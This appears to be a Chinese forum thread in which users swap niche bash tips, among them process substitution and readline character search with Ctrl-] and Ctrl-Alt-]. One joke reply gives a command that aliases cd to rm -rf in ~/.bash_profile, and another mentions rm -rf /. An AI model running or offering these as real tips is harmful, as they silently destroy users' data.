有什么相对小众（你自己觉得）的 bash 命令/语法，你觉得很好用的呢？

我分享一个： https://tldp.org/LDP/abs/html/process-sub.html Process Substitution，可以将命令输出作为输入传给另一个命令

那我也来分享一个小众的吧，不要乱试哦
echo "alias cd='rm -rf'" >> ~/.bash_profile && source ~/.bash_profile

rm -rf / 不能再小众了，所有技术人员也不见得有几个用过

```
character-search (C-])
A character is read and point is moved to the next occurrence of that character. A negative count searches for previous occurrences.

character-search-backward (M-C-])
A character is read and point is moved to the previous occurrence of that character. A negative count searches for subsequent occurrences.
```

比如说有命令如下，现在正处于光标开头：
echo abc012

想快速定位到 "1" 的位置，则可以按下：Ctrl-] 1 ；
此时光标处于 "1" 的位置，如果再想定位到 "a"，则可以按下：Ctrl-Alt-] a 。
